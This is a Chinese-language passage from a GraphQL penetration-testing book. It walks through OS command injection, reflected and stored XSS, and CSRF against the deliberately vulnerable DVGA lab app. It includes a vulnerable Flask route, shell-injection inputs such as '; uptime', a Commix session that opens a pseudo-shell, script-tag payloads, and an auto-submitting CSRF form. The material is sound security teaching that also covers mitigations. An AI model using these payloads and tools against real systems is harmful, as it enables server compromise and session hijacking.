应用程序通常设计为使用系统 shell 库来执行后台任务。例如,一个应用程序可能需要通过使用 ping 命令来检查远程服务器是否存活,或者通过使用 wget 命令来下载文件。它也可能使用 ziptargunzip 等命令压缩文件,或者通过 cprsync 等命令来备份文件系统。

单单使用系统工具并不一定意味着存在操作系统命令注入漏洞,但如果应用程序运行的系统工具命令能够受到任意用户输入的影响,那就可能会变得危险。在执行源代码审查时,检查以下导入的库和函数,看看它们的命令是否是通过自定义用户输入构建的:

  • Python 库,如 subprocessos 以及函数,如 execeval

  • PHP 函数,如 systemshell_execevalexec

  • Java 函数,如 Runtime.exec()

  • Node.js 模块,如 child_process 和函数,如 execspawn

示例

假设一个应用程序允许用户提供一个 URL,然后从该 URL 下载文件到应用程序的本地文件系统。考虑下面的 Flask 函数示例,Flask 是一个用 Python 编写的 Web 框架:

@app.route('/download', methods=['POST'])
def download():
  ❶ url = request.form['url']
  ❷ os.system('wget {} -P /data/downloads'.format(url))
    return redirect('/dashboard')

这段代码是一个 Python Web 应用程序路由,它暴露了一个名为 /download 的端点。这个端点支持通过 HTTP POST 方法发送的请求。

在❶处,应用程序从网站上的 HTML 表单获取用户输入,并将其分配给url变量。在❷处,url变量被用于wget命令的上下文中,实际上使得wget能够通过使用url变量来下载文件。下载的文件随后存储在服务器文件系统的/data/downloads文件夹中。因此,如果客户端提供类似http://example.com/file.zip的 URL,Web 应用程序将执行以下 shell 命令:

wget http://example.com/file.zip -P /data/downloads

这里存在多个问题。首先,应用程序允许任何 URL 的输入,但没有任何检查机制来验证输入是否为有效的 URL 格式。其次,客户端可以提供内部 URL 或私人 IP 地址来识别并访问受限的内部资源,这也可能导致服务器端请求伪造(SSRF)漏洞(更多关于 SSRF 漏洞的内容见第九章)。此外,由于应用程序将客户端输入直接插入到wget命令中,我们可以引入任何我们想要的 shell 命令。我们还可以使用分号(;)字符来分隔或中断wget命令,开始一个新的命令,从而有效地执行操作系统命令注入。这可能导致服务器完全被攻陷。

DVGA 中的手动测试

在 GraphQL 中,如果解析器函数接受来自 GraphQL 字段的参数而没有对输入进行必要的验证,就可能发生操作系统命令注入。让我们看看在 DVGA 中这会是什么样子。

返回我们之前查看的架构文档,我们有四个感兴趣的字段,它们都以system开头:systemUpdatesystemHealthsystemDiagnosticssystemDebug。虽然字段名称在不同应用程序之间可能有所不同,但system一词通常暗示着在背后使用了系统 shell 命令,因此探索这些字段是否存在操作系统命令注入是值得的。

如果你曾经对家庭路由器进行渗透测试,你会知道它的调试或诊断页面可能是寻找重大漏洞的最有趣的地方。操作系统命令注入通常存在于这些接口中,因为它们在背后使用网络工具,如pingtraceroute。家庭路由器在安全性方面并不出名,它们几乎从不检查输入是否包含危险字符,且通常容易受到操作系统命令注入的攻击。

在本节中,我们将重点关注systemDebug。在 Altair 中运行以下命令,查看我们得到的响应:

**query {**
 **systemDebug**
**}**

如果你做过一些 Linux 系统管理工作,你可能会认出以下输出片段;它来自于ps命令,用于显示正在运行的系统和用户进程的信息:

"systemDebug": "    PID TTY          TIME CMD\n  11999 pts/1    00:00:00 bash\n
14050 pts/1    00:00:00 python3\n  14055 pts/1    00:00:03 python3\n  14135 pts/1
00:00:00 sh\n  14136 pts/1    00:00:00 ps\n"

打开 Altair 中的Docs页面。在查询部分,你会注意到systemDebug接受一个名为arg的单一参数,类型为String,这看起来很有前景。GraphQL 查询解析器是否将该参数直接传递给ps命令?让我们来探究一下:

**query {**
 **systemDebug(arg:"ef")**
**}**

现在输出看起来有点不同。这是因为 efps 命令接受的两个有效参数,它们改变了输出的格式。e 参数显示系统上的所有进程,而 f 参数将输出格式更改为完整格式列表。

看起来 arg 参数接受我们的输入,并将其与 ps 命令连接起来。我们可以通过修改 arg 来引入自己的命令,例如添加分号字符(;),然后接着选择另一个 Linux 命令,如 uptime

**query {**
 **systemDebug(arg:"; uptime")**
**}**

现在我们得到了不同的输出。似乎包含了来自 GraphQL 服务器的系统信息,验证了我们关于操作系统命令注入可能性的假设:

PID TTY          TIME CMD\n  11999 pts/1    00:00:00 bash\n  14050 pts/1
1 user,  load average: 0.71, 0.84, 0.91\n"

接下来,我们将探讨如何通过利用专门的命令注入框架,更有效地测试操作系统命令注入。

使用 Commix 进行自动化测试

到目前为止,我们已经采用手动方式来识别操作系统命令注入漏洞。然而,有时候这些漏洞并不会那么容易找到和利用。例如,一些应用程序可能会限制它们接受的字符类型,使得向查询参数等位置注入命令变得更加困难。或者,位于我们和目标 GraphQL API 之间的防火墙可能会阻止危险字符的接受。这些安全控制措施使得通过手动测试方法识别漏洞变得困难且耗时。

自动化命令注入有助于测试许多字符变化,直到我们找到正确的逻辑。例如,命令注入可以通过引入以下任一字符等方式发生:

  • 分号(;)用来分隔命令

  • 一个单独的与号(&)用来将第一个命令发送到后台并继续执行我们引入的第二个命令。

  • 双与号(&&)用来在第一个命令执行成功(返回 true)后运行第二个命令,作为 AND 条件

  • 双管道符号(||)用来在第一个命令执行失败(返回 false)后运行第二个命令,作为 OR 条件

通过使用自动化注入工具,我们可以轻松地测试许多这些字符。

Commix 是一个跨平台的操作系统命令注入框架,能够发现并利用应用程序中的这些漏洞。Commix 通过对各种应用程序输入进行模糊测试,并检查服务器响应中的模式来进行其“魔法”,这些模式表明命令注入成功。Commix 还可以通过推测来识别成功的注入尝试,例如通过向命令中添加延迟并使用 sleep 来计时响应。

让我们再看看 GraphQL 的 systemDebug 字段,它使我们能够通过 arg 参数注入操作系统命令。假设在渗透测试中,我们尚未及时识别出如何利用应用程序,但觉得可能有一些东西值得探索。我们可以使用 Commix 通过尝试数十种有效载荷变体来扩大攻击规模,从而节省宝贵的时间。

在 列表 8-5 中的 Commix 命令展示了如何对我们的目标应用执行注入测试:

# commix --url="http://127.0.0.1:5013/graphql"
**--data='{"query":"query{systemDebug(arg:\"test \")}"}' -p arg**

[info] Testing connection to the target URL.
You have not declared cookie(s), while server wants to set its own.

Do you want to use those [Y/n] > **Y**
[info] Performing identification checks to the target URL.
Do you recognize the server's operating system? [(W)indows/(U)nix/(q)uit] > **U**
JSON data found in POST data. Do you want to process it? [Y/n] > **Y**
It appears that the value 'query{systemDebug(arg:\"test\")}' has boundaries.
Do you want to inject inside? [Y/n] > **Y**

[info] Testing the (results-based) classic command injection technique.
[info] **The POST (JSON) parameter 'arg' seems injectable** via (results-based)
classic command injection technique.
       |_ echo UTKFLI$((13+45))$(echo UTKFLI)UTKFLI

Do you want a Pseudo-Terminal shell? [Y/n] > **Y**
Pseudo-Terminal (type '?' for available options)

commix(os_shell) > **ls**

__pycache__ app.py config.py core db dvga.db pastes requirements.txt
setup.py static templates version.py

列表 8-5:使用 Commix 成功执行的 GraphQL 操作系统命令注入

我们通过 GraphQL 查询 systemDebug 并使用 arg 参数来指定 GraphQL 目标 URL http://localhost:5013/graphql。然后,我们使用 -p 标志告诉 Commix 应在特定的 arg 占位符处注入有效载荷。

Commix 识别出服务器想要设置 HTTP cookie。我们通过在命令行输入 Y 来接受此请求。然后,Commix 需要了解远程服务器运行的操作系统类型,以便从其数据库中选择相关的有效载荷。例如,Linux 服务器需要与 Windows 服务器不同的注入有效载荷。我们通过指定 U 字符选择 Unix 选项。

接下来,我们指示 Commix 处理来自 GraphQL 服务器的 JSON 响应。我们指定要在命令边界内注入有效载荷。Commix 表示它发现 arg 参数是可注入的。它通过将 echo 命令与一个唯一字符串插入其中来识别这一点。如果响应中包含这个唯一字符串,说明代码已成功注入。

我们启动一个伪 shell 以便向服务器发送 Unix 命令。最后,我们发送 ls 命令测试是否能通过我们的 shell 与服务器交互,并列出其文件。我们看到列出了几个文件,意味着我们已经成功执行了操作系统命令注入。

如你所见,Commix 提供了一种非常便捷的方式来对 GraphQL API 进行一系列注入测试。

解析器函数的代码审查

让我们对 systemDebug 的解析器函数进行代码审查,以查看它在 DVGA 中是如何实现的(见 列表 8-6)。这将帮助我们更好地理解我们发现的操作系统命令注入漏洞的根本原因。

def resolve_system_debug(self, info, arg=None):
  Audit.create_audit_entry(info)
  if arg:
    output = helpers.run_cmd('ps {}'.format(arg))
  else:
    output = helpers.run_cmd('ps')
  return output

列表 8-6:DVGA 中的解析器函数

resolve_system_debug() Python 函数处理 GraphQL 字段 systemDebug。它接受一个名为 arg 的单一可选参数。如果客户端没有在查询中设置该参数,则默认为 None

在这个函数中,helpers.run_cmd() 函数运行 ps 系统 shell 命令,如果 arg 值不为 None,则将其与命令连接。如果客户端提供了 ef 参数,命令最终变成以下内容:

output = helpers.run_cmd('ps ef')

如果客户端没有提供arg参数的任何值,函数将仅仅运行ps命令,返回系统上正在运行的进程列表。

这里的漏洞在于没有对提供的arg参数进行安全检查,因此解析器函数会执行它接收到的任何 Linux 命令。这可以通过多种方式进行缓解:

  • 只接受字母字符(az),并确保这些字符是有效的ps参数

  • 移除任何可能允许攻击者引入额外命令的危险字符

  • 以非特权用户身份运行命令,以降低注入可能性时的风险

  • 使用专门的内置库而不是直接使用 shell 命令,例如 Python 中的psutil

到目前为止,我们讨论了会影响服务器的注入漏洞。接下来,我们将探讨几种影响客户端的注入漏洞。

跨站脚本(XSS)

注入漏洞也会影响客户端。假设某社交媒体网站的个人资料更新页面允许用户修改全名和简介。如果应用程序没有对这些输入进行任何安全验证,我们可以尝试使用一些 GraphQL 变更来提交恶意的 JavaScript 代码到页面,并且在其他客户端访问我们的个人资料时,使其在他们的浏览器中渲染。能够在客户端浏览器中执行 JavaScript 代码非常强大,因为它使我们能够将浏览器信息(如 cookie)外泄到远程服务器,获取敏感的会话令牌,从而劫持客户端的会话。

跨站脚本(XSS)漏洞发生在客户端代码(如 JavaScript)在网页浏览器的上下文中被解释和执行时。这种类型的漏洞自 1990 年代以来就被报告,但即使今天,30 多年后,我们依然可以看到它的存在。

如果你已经熟悉 XSS 漏洞,你会发现它们在 GraphQL 中与其他 API 技术(如 REST)没有太大不同。本节简要解释了主要的 XSS 漏洞类型:反射型、存储型和基于 DOM 的 XSS。然后,我们将探讨 DVGA 中的 XSS 漏洞,让你在 GraphQL API 中积累识别它们的经验。

反射型 XSS

可能是所有 XSS 漏洞中最简单的一种,反射型 XSS发生在输入被提交到服务器并立即返回给客户端的响应中,如 HTML 错误信息或 HTML 页面内容中。

从攻击者的角度来看,利用反射型 XSS 漏洞需要通过社会工程学让受害者点击一个触发 XSS 有效载荷的链接,导致攻击者的 JavaScript 代码在受害者的浏览器中执行。

在 GraphQL 的上下文中,一个易受反射型 XSS 攻击的查询可能如下所示:

query {
   hello(msg:"Black Hat GraphQL")
}

这个hello操作需要一个msg参数,该参数接受来自客户端的输入——在这种情况下,是字符串Black Hat GraphQL。当客户端提交这些信息时,服务器将渲染页面,并可能打印出类似Hello Black Hat GraphQL!的消息。

现在,假设我们将msg参数的值更改为一个 JavaScript 负载:

query {
   hello(msg:"<script>document.cookie;</script>")
}

当这在客户端的浏览器中渲染时,<script>标签将指示浏览器调用document JavaScript 对象并打印cookie字符串。Cookie 通常会包含与会话相关的信息,例如标识符。

因为这些信息并没有存储在服务器的数据库中,而是通过提交查询后反射回客户端的响应中,所以这是反射型 XSS。我们可以通过让受害者的浏览器将其 cookie 发送到我们控制的远程服务器来改进负载,从而使我们能够窃取用户的 cookie。

我们早些时候提到,这个攻击需要社会工程学才能发挥作用。例如,通过网络钓鱼邮件,我们可以将一个包含恶意 JavaScript 负载的 URL 发送给受害者,并等待他们点击。

你可能会问,使用 POST 请求时这如何工作呢?好吧,我们在书中早些时候提到,GraphQL 可能支持基于 GET 的查询,因此你可以尝试构造如下链接,并测试目标 GraphQL 服务器是否支持基于 GET 的查询:

http://example.com/graphql?query=query%20%7B%0A%20%20hello(msg%3A%22hello%22)%0A%7D

解码后,这个 URL 看起来如下所示:

http://example.com/graphql?query=query {
  hello(msg:"hello")
}

支持基于 GET 的查询的 GraphQL API 将接受一个query GET 参数,后面跟着查询语法。查询操作可以是查询或突变。受害者点击此链接后,将通过 GET 请求提交一个 GraphQL 查询。在第九章中,您将了解如何利用 GET 请求进行跨站请求伪造(CSRF)攻击。

存储型 XSS

存储型持久型XSS中,注入的负载被持久化存储到数据存储中,例如数据库,而不是作为查询响应的一部分反射回客户端。因此,不同于反射型 XSS,存储型 XSS 漏洞会在每次客户端浏览器加载包含恶意负载的页面时触发注入的脚本。

通常,存储型 XSS 漏洞被认为比反射型 XSS 更危险。XSS 负载存在于应用程序的数据存储中,可能对其他系统构成风险,例如:

  • 其他服务器从与 GraphQL 应用程序相同的数据存储中读取恶意输入。这些服务器实际上受到了相同漏洞的影响。

  • 同一 GraphQL 应用程序中的其他流程从相同的数据存储中读取。这个漏洞会影响应用程序的其他部分,因此会影响其他客户端。

图 8-11 展示了存储型 XSS 如何影响其他系统。

图 8-11:存储型 XSS 漏洞影响相邻应用程序

我们的恶意输入可以穿越网络上的许多设备和资源;在首次经过 GraphQL API 层后,它可能会被插入到不同的数据存储中,例如缓存数据库、关系型数据库或本地文件。

从那里开始,我们并不总是能知道攻击是否成功。通常,我们需要等待直到某些事情(或某个人)触发我们的有效载荷。假设我们使用 GraphQL 突变发送一个 JavaScript 有效载荷,然后没有收到任何指示说明它已成功作为 JavaScript 代码被应用渲染。几种解释都是可能的。例如,我们可能已经将有效载荷注入到一个数据库表中,该表仅能被具有不同访问权限的用户读取。

联系表单提供了一个很好的例子。假设你在一个反馈表单中提交一个有效载荷给你最近购买物品的商店,并收到一个 感谢您的提交 的消息。即使你没有收到任何表明攻击尝试成功的提示,你的攻击也不一定是死路一条。有效载荷可能仅在商店打开反馈表单后被触发。这可能发生在几天甚至几周后。我们将这些隐藏攻击称为 盲 XSS,它是存储型 XSS 的一个子类别。

为了利用盲 XSS 漏洞,你可以使用生成唯一有效载荷的工具进行测试。当发现 XSS 漏洞并且有效载荷被触发时,负载将向一个集中式服务器发送探测信息进行进一步检查,从而让你捕获到关于执行了有效载荷的客户端的信息。一个这样的工具是 XSS Hunter (xsshunter.com)。当你的 XSS 有效载荷被触发时通知你的工具非常方便。

基于 DOM 的 XSS

文档对象模型基础的 XSS,或称 基于 DOM 的 XSS,漏洞发生在 JavaScript 注入有效载荷仅在浏览器的 DOM 中执行时。DOM 是一种网页文档的表示形式,允许应用程序修改其结构、内容和样式。所有 HTML 对象都可以使用 DOM API 进行操作。

例如,文档对象可以用来获取网页中的 HTML <title> 标签。在 DVGA 的网页界面中,打开浏览器的开发者工具,在 控制台 标签页中输入命令 document.title。你应该会看到如下结果:

# document.title

'Damn Vulnerable GraphQL Application'

虽然反射型 XSS 和存储型 XSS 是由于服务器端代码中的漏洞引起的,但 DOM XSS 漏洞通常源于前端应用程序代码中存在的漏洞,这些代码面向客户端。例如,当恶意输入(通常作为 URL 的一部分)能够被插入并传递给支持动态代码执行的组件时,就可能发生这种情况,比如 JavaScript 的 eval 函数。

由于 DOM XSS 漏洞发生在客户端代码中,GraphQL API 并不是这些漏洞的根本原因。尽管如此,我们认为有必要意识到这一点,因为社区构建的 GraphQL 客户端可能会容易受到这些漏洞的影响。有关可用 GraphQL 客户端库的完整列表,请访问 graphql.org/code/#javascript-client

在 DVGA 中测试 XSS

在本节中,我们将使用 DVGA 的用户界面进行 XSS 测试。DVGA 中实现了多个 XSS 漏洞,因此我们可以通过多种方式实现 XSS。我们将探索一些技术,帮助你熟悉使用 GraphQL 查询进行 XSS 测试。

在实验室中打开你的网页浏览器,并导航到 DVGA 的主界面 http://localhost:5013

篡改审计页面

首先,点击左侧边栏中的一些页面,比如“Public Pastes”。你的浏览器会开始发送 GraphQL 查询以填充网页信息。接着,点击右上角的用户图标,然后点击 Audit。你应该能够看到列出的审计事件,如 图 8-12 所示。

图 8-12:DVGA 中的审计记录

这个审计页面表明,应用程序正在自动跟踪我们在浏览页面时浏览器发送的每个查询,收集的信息如下:

  • 演员或用户的名称(在本例中为 DVGAUser

  • 使用的 GraphQL 操作 名称(在本例中为 getPastes

  • 执行的查询(在本例中,是带有 public 参数和几个选定字段(如 idtitlecontent)的 pastes GraphQL 字段)

这个输入完全在我们的控制之下。让我们首先探讨如何篡改 GraphQL 操作以影响审计页面。将以下查询复制并粘贴到 Altair 中,然后运行:

**mutation SpoofedOperationName {**
 **createPaste(title:"Black Hat GraphQL", content:"I just spoofed the operation name.") {**
 **paste {**
 **content**
 **title**
 **}**
 **}**
**}**

该变异创建了一个新粘贴,标题为 Black Hat GraphQL,内容为 I just spoofed the operation name。同时,我们返回新创建粘贴的 contenttitle 字段,它们的值应该是相同的。

刷新审计页面。你应该能够看到现在它在 GraphQL 操作列下显示了我们伪造的操作名称 SpoofedOperationName,如 图 8-13 所示。这就是安全分析师在尝试通过操作名称监控 GraphQL 查询时可能看到的内容。

图 8-13:显示 DVGA 中修改后的操作名称的审计页面

正如我们之前提到的,不同的 GraphQL 服务器实现可能允许操作名称包含特殊字符,这可能成为注入向量,因此在可能的情况下,始终测试这些特殊字符。

在 CreatePaste 变异中发现存储型 XSS

当我们在 DVGA 创建一个新的粘贴时,createPaste mutation 中使用的 GraphQL 字段,如 titlecontent,会显示在公共粘贴页面上。图 8-14 中的截图展示了这是什么样子的。

图 8-14:DVGA 中的粘贴结构和内容

如你所见,我们的粘贴出现在网页上。这是一个开始测试 createPaste 字段的好机会,可以输入例如 JavaScript 代码,看看数据是否在网页界面中安全地渲染。

继续使用列表 8-7 中显示的 mutation 查询创建一个新的粘贴。

mutation {
  createPaste(title:"XSS", content:"<script>alert(\"XSS\")</script>") {
    paste {
      title
      content
    }
  }
}

列表 8-7:通过 createPaste mutation 注入 XSS payload

这个 mutation 创建一个新的粘贴,content 参数中包含一个 JavaScript <script> 标签。如果应用程序存在 XSS 漏洞,这段代码将在浏览器中被渲染,并弹出一个消息框,显示 XSS。发送这个 mutation 查询后,转到公共粘贴页面。你应该会看到一个弹出消息,如图 8-15 所示。

图 8-15:通过恶意 mutation 触发的 XSS payload

让我们回顾一下这里发生了什么。我们首先使用 createPaste 创建了一个新的粘贴,并将恶意的 JavaScript payload 提供给 mutation 的 content 参数。然后,API 将新的粘贴存储在数据库中。因为我们的客户端通过 WebSocket 协议使用了 GraphQL 订阅操作,且订阅是实时的,我们立即看到了我们创建的新粘贴,里面包含了恶意的 JavaScript 代码。这是一个存储型 XSS 漏洞的例子。

发现文件上传功能中的反射型 XSS

现在我们将探讨如何通过文件上传功能创建一个新的粘贴。这应该能让你了解文件上传在 GraphQL 中的表现,以及它们是否可能存在 XSS 漏洞。下载以下文本文件到你的计算机:github.com/dolevf/Black-Hat-GraphQL/blob/master/ch08/paste_from_file.txt

打开 DVGA 中的上传粘贴页面以上传文本文件。该文件最终将存储在数据库中。点击选择文件并选择你下载的文件,然后点击上传

你可以使用 Burp Suite 在点击上传按钮之前拦截请求,查看 GraphQL mutation 的样子。或者,可以使用浏览器开发者工具中的网络标签页。图 8-16 显示了 Burp Suite 中的 mutation。

图 8-16:Burp Suite 中的 UploadPaste mutation

如你所见,我们使用UploadPaste创建一个包含本地文件的新粘贴。你还可以看到,我们将两个变量contentfilename作为 HTTP POST JSON 有效载荷的一部分传递。content键包含上传文件中的数据,filename键则是服务器在磁盘上设置的文件名。

有效载荷定义了一个 HTML 标题(<h3>)、一个段落(<p>)以及一个 JavaScript 脚本标签(<script>),该标签调用alert函数并传入字符串Black Hat GraphQL。这些信息将由浏览器渲染,且由于使用了alert,一个弹窗将会出现,确认我们可以通过 XSS 注入执行 JavaScript。

该查询发送到服务器后(确保你在 Burp Suite 中点击Forward进行操作),我们可以通过导航到Private Pastes页面来查看新上传的文件。你应该能看到一个 JavaScript 弹窗,如图 8-17 所示。

图 8-17:粘贴的代码在浏览器中执行并触发了弹窗。

我们通过使用UploadPaste上传包含 JavaScript 和 HTML 代码的恶意文本文件,成功触发了一个存储型 XSS 漏洞。

总结

在本章中,我们详细探讨了注入漏洞,从影响数据库和操作系统的漏洞到影响客户端浏览器的漏洞,包括经典和盲注 SQL 注入;反射型、存储型和基于 DOM 的 XSS;以及操作系统命令注入。

当 GraphQL API 未能仔细验证输入时,可能会出现许多问题。我们识别了 GraphQL 中各种输入入口点——从查询、字段、指令参数到操作名称——这些都构成了注入面。注入漏洞可能对应用数据产生毁灭性影响,尽管框架在提供可复用的安全方法方面已经有所改进,但这些漏洞今天仍然普遍存在。

第九章:请求伪造与劫持

当攻击者针对服务器和客户端执行劫持和伪造型攻击时,他们可能会采取敏感操作,造成潜在的严重后果。在本章中,我们将测试这些漏洞,并了解应用程序可能实现的防御措施,以缓解这些类型的缺陷。

请求伪造是指攻击者能够代表客户端或服务器执行某个操作,理想情况下是一个敏感操作。当攻击者针对客户端时,他们可能会试图强制客户端将钱转移到他们控制的数字钱包或银行账户。当攻击者针对服务器时,他们可能会试图获取敏感的服务器端数据,探测隐藏或内部服务,向受限网络发起内部请求,访问与云环境相关的信息等等。相对而言,劫持指的是窃取另一个用户的会话。

在 GraphQL 的背景下,这些攻击方式都构成威胁。我们将讨论这些攻击可能采取的三种形式:跨站请求伪造(CSRF)、服务器端请求伪造(SSRF)和跨站 WebSocket 劫持(CSWSH)。

跨站请求伪造

通常发音为 sea-surfCSRF 是一种客户端攻击,导致受害者在已认证的网页上执行不希望的操作。在这种攻击中,攻击者编写代码并将其嵌入到他们操作的网站中(有时也可以是允许他们这样做的第三方网站)。然后,他们通过社会工程学等攻击手段迫使受害者访问该站点。当代码在受害者的浏览器中执行时,它会伪造并向服务器发送请求。

这些请求往往会执行改变状态的操作。它们可能会更新账户的电子邮件或密码,从一个账户转账到另一个账户,禁用账户的安全设置,如多因素认证,授予权限,甚至向应用程序添加新账户。图 9-1 展示了典型的 CSRF 攻击流程,以下以银行网站为例。

图 9-1:CSRF 攻击流程

CSRF 利用这样一个事实:当客户端已登录应用程序时,浏览器在每次发出的 HTTP 请求中都会发送必要的信息,如会话 cookie(在 Cookie 头中),以及 HostUser-Agent 等其他标准头部。Web 服务器无法区分合法请求与用户被欺骗后发出的请求,这就是为什么当没有采取防范措施时,CSRF 攻击会非常有效的原因。

攻击者使用多种技术来实现 CSRF,但一种常见的策略依赖于使用 <form> 标签创建的特殊 HTML 表单。攻击者等待用户在其网站上提交表单,或者为了提高成功的几率,使用 JavaScript 代码自动提交表单。当条件允许攻击者使用 GET 方法执行 CSRF 攻击时,他们还可能使用诸如 <a><img> 等 HTML 标签作为载体。这些标签通常不会被认为是有害的,但它们可能为攻击者提供在允许插入图像链接和超链接的网站中嵌入 CSRF 有效载荷的选项。这些标签只能发起普通的 GET 请求,因此如果一个网站已经设置了反 CSRF 令牌,攻击可能不会成功。

由于 CSRF 攻击依赖于受害者的已验证会话,攻击者只能执行受害者在网站上被允许执行的操作。例如,如果受害者登录到银行网站,但每天只能转账 1,000 美元,则 CSRF 攻击将仅限于转账这一金额。此外,如果某个请求需要管理员级别的权限,而客户端会话没有该权限,请求将会失败。第七章提供了绕过某些 GraphQL 授权控制的技术。

CSRF 至少已经有二十年的历史。我们能找到的第一个与 CSRF 相关的漏洞,CVE-2002-1648,来自 2002 年,虽然有些人认为 CSRF 漏洞可能早在 2001 年就已经存在。当谈到 GraphQL 时,开发者可以使用查询或突变来构建支持执行敏感操作(例如更改账户设置或从一个账户转账到另一个账户)的模式。这可能允许攻击者执行状态改变操作。正如你所学到的,状态改变操作通常通过突变来执行。然而,开发者可能选择通过查询来实现这些操作。

定位状态改变操作

状态改变操作以某种方式更改应用程序。例如,将 DVGA 的模式从“初学者”更改为“专家”,或反之,这被视为状态改变操作。如果你在寻找 CSRF 漏洞,你应该瞄准这些操作。正如你现在所知,GraphQL 中的状态改变操作通常通过突变(mutations)来执行。然而,有时你也可以通过使用 GraphQL 查询来执行改变状态的写操作。

让我们从更可能的场景开始:根据突变(mutations)识别状态改变操作。为了找到有影响的 CSRF 漏洞,可以尝试提取可用突变的列表,并寻找那些能够让你在应用中占据立足点或允许你提升现有权限的突变。清单 9-1 中显示的 introspection 查询应该返回模式中存在的突变字段。

**query {**
 **__schema {**
 **mutationType {**
 **fields {**
 **name**
 **}**
 **}**
 **}**
**}**

清单 9-1:提取突变字段名称的 introspection 查询

使用 Altair 对 DVGA 执行此查询,确保 DVGA 的模式设置为初学者。你应该能够识别出一些状态变化的操作,例如 createUserimportPasteeditPasteuploadPastedeletePastecreatePaste

如果你没有发现任何敏感操作,接下来要查看的是是否可以使用查询来执行状态变化的操作。GraphQL 服务器有时支持通过 GET 进行操作,当它们这样做时,可能会故意拒绝基于 GET 的突变操作,只允许通过 GET 执行读取操作。这为防止类似 CSRF 的漏洞提供了一定的保护,正如你将在本章后面学到的那样。然而,如果我们的目标使用任何基于 GET 的查询来执行重要的状态变化,那么这个缓解措施就是无效的。执行列表 9-2 中显示的自省查询,以获取可用查询的名称。

**query {**
 **__schema {**
 **queryType {**
 **fields {**
 **name**
 **}**
 **}**
 **}**
**}**

列表 9-2:提取查询字段名称的自省查询

这是返回列表的一个摘录:

{
  "name": "search"
},
{
  "name": "audits"
},
{
  "name": "deleteAllPastes"
}
`--snip--`

有没有哪个查询名称特别引人注目?列表中有几个潜在的状态变化查询,但 deleteAllPastes 尤为引人注意。一个删除所有粘贴的查询比查询更适合做为突变操作。然而,由于这个应用程序存在漏洞,它没有考虑到 CSRF 问题。

测试基于 POST 的漏洞

现在我们已经识别出一些状态变化的查询和突变,可以尝试构造一个 HTML 表单来利用它们。我们的攻击可能会诱使用户点击一个链接,该链接会将他们重定向到一个恶意网站,网站上包含像列表 9-3 中的表单。提交后,它将使用 createPaste 突变向 DVGA 发起一个 POST 请求。

<html>
  <h1>Click the button below to see the proof of concept!</h1>
  <body>
     <form id="auto_submit_form" method="POST" action="http://localhost:5013/graphql">
       <input type="hidden" name="query" value="mutation { createPaste(title:&quot;CSRF&quot;,
content:&quot;content&quot;,
public:true, burn: false) { paste { id content title burn } }}"/>
       <input type="submit" value="Submit">
     </form>
  </body>
<html>

列表 9-3:基于 HTML 表单的 POST 类型 CSRF 利用

我们使用 method 属性定义一个名为 query 的 POST 类型表单。该表单将向 DVGA 的 URL 发起请求,该 URL 定义在 action 属性中。你会注意到,我们还通过将 type 属性设置为 hidden 来定义一个隐藏的 <input> 标签。这确保了用于执行查询的表单对受害者来说是不可见的;它不会在他们的浏览器中显示。我们在 value 属性中对 GraphQL 突变进行编码并定义。该突变的解码版本如下:

mutation {
  createPaste(title: "CSRF", content: "content", public: true, burn: false) {
    paste {
      id
      content
      title
      burn
    }
  }
}

要观察这个表单在攻击中的表现,从本书的 GitHub 仓库下载 CSRF 概念验证代码:github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit.html。将此文件保存到 Kali 的桌面,扩展名为 .html

接下来,让我们使用 Burp Suite 查看在 CSRF 攻击中发送的外部请求。启动 Burp Suite 并通过点击打开浏览器来打开其内置浏览器。确保当前设置为不拦截请求。然后,将桌面上的 HTML 文件拖放到浏览器窗口中。你应该会看到图 9-2 中显示的“提交”按钮。

图 9-2:基于 POST 的 CSRF 示例

在 Burp 中,切换拦截按钮到 拦截已开启。现在,点击表单中的 提交 按钮,并观察 Burp 的代理标签中产生的请求。它应该与 图 9-3 类似。

图 9-3:受害者浏览器在 CSRF 攻击后发送的 POST 请求

如你所见,变更被编码并作为单一值发送到 query 请求体参数。这是因为基于 POST 的 HTML 表单将 <input> 标签转化为 HTTP 请求体参数,而我们使用了一个名为 query 的输入标签。

因为 HTML 表单在没有像 JavaScript 这样的语言帮助下无法发送 JSON 格式的数据,所以提交的变更并没有作为 JSON 发送,这一点可以从 Content-Type 头部看出。这里,它被设置为 application/x-www-form-urlencoded 而不是 application/json。尽管如此,一些 GraphQL 服务器可能会在后台将有效负载转换回 JSON,即使没有正确的 Content-Type 头部。

当 HTML 表单使用 POST 方法时,我们可以使用以下三种编码类型之一来编码数据:application/x-www-form-urlencodedmultipart/form-datatext/plain。默认情况下,当未设置 enctype 属性时,例如在我们的利用代码中,表单使用 application/x-www-form-urlencoded,它会在发送到服务器之前对所有字符进行编码。现在你已经看到 CSRF 利用如何触发一个 GraphQL 查询,点击 转发 将其发送到服务器。

自动提交 CSRF 表单

诱使用户点击按钮可能会带来一些挑战。如果用户犹豫不决而未继续操作,我们的攻击就会失败。假如我们能在用户访问页面后立即自动提交表单呢?这可以通过 JavaScript 代码来实现。列表 9-4 会在有人访问页面后两秒自动执行表单提交。

async function csrf() {
    for (let i = 0; i < 2; i++) {
        await sleep(i * 1000);
    }
    **document.forms['auto_submit_for'].submit();**
}

列表 9-4:使用 JavaScript 自动提交表单

这两秒的延迟是为了让你有时间理解你正在查看的内容。在实际应用中,你将希望立即代表受害者伪造请求,而无需任何延迟。

要查看此攻击的实际效果,请下载文件 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch09/post_csrf_submit_auto.html 到 Kali 的桌面。接下来,切换 Burp 的拦截模式;然后将下载的文件拖放到浏览器中。只要你放下它,此表单将在 2 秒内自动提交 的消息应该会出现。接下来,你应该能在 Burp 中看到被拦截的 POST 请求。如果你点击转发,你应该会看到浏览器中来自 GraphQL API 的响应,表明变更导致创建了一个新的粘贴,并包括一些元数据,如粘贴的 ID、标题等。

为了验证粘贴创建是否成功,打开 DVGA 用户界面,访问http://localhost:5013,并进入公共粘贴页面。你应该能够在图 9-4 中看到新创建的粘贴。

图 9-4:通过 CSRF 攻击创建的粘贴

恭喜你!你刚刚成功模拟了代表受害者伪造粘贴变更操作。

测试基于 GET 的漏洞

许多 GraphQL 实现禁止使用 GET 方法,但通过 GET 方法发送变更操作(mutation)尤其被视为禁忌,因为这被认为是一个安全风险,可能导致 CSRF 漏洞,正如你所学到的那样。通常,GraphQL 服务器会拒绝任何使用 GET 方法的变更请求。要测试一个 GraphQL 服务器是否支持它们,你可以发送如下的 cURL 命令:

# curl -X GET "http://localhost:5013/graphql?query=mutation%20%7B%20__typename%20%7D"

